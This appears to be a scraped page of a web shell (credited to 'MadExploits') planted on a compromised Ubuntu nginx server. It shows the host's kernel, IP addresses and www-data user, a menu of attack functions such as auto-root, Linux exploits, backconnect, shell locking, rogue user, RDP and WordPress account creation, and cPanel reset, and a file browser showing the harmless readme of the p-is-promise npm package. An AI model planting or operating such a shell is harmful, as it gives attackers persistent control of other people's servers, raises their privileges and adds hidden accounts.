Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amatya /
node_modules /
p-is-promise /
[ HOME SHELL ]
Name
Size
Permission
Action
index.d.ts
515
B
-rw-r--r--
index.js
320
B
-rw-r--r--
license
1.08
KB
-rw-r--r--
package.json
888
B
-rw-r--r--
readme.md
966
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : readme.md
# p-is-promise [](https://travis-ci.org/sindresorhus/p-is-promise) > Check if something is a promise Why not [`is-promise`](https://github.com/then/is-promise)? That module [checks for a thenable](https://github.com/then/is-promise/issues/6), not an ES2015 promise. This one is stricter. You most likely don't need this. Just pass your value to `Promise.resolve()` and let it handle it. Can be useful if you need to create a fast path for a synchronous operation. ## Install ``` $ npm install p-is-promise ``` ## Usage ```js const pIsPromise = require('p-is-promise'); const Bluebird = require('bluebird'); pIsPromise(Promise.resolve('🦄')); //=> true pIsPromise(Bluebird.resolve('🦄')); //=> true pIsPromise('🦄'); //=> false ``` ## Related - [More…](https://github.com/sindresorhus/promise-fun) ## License MIT © [Sindre Sorhus](https://sindresorhus.com)
Close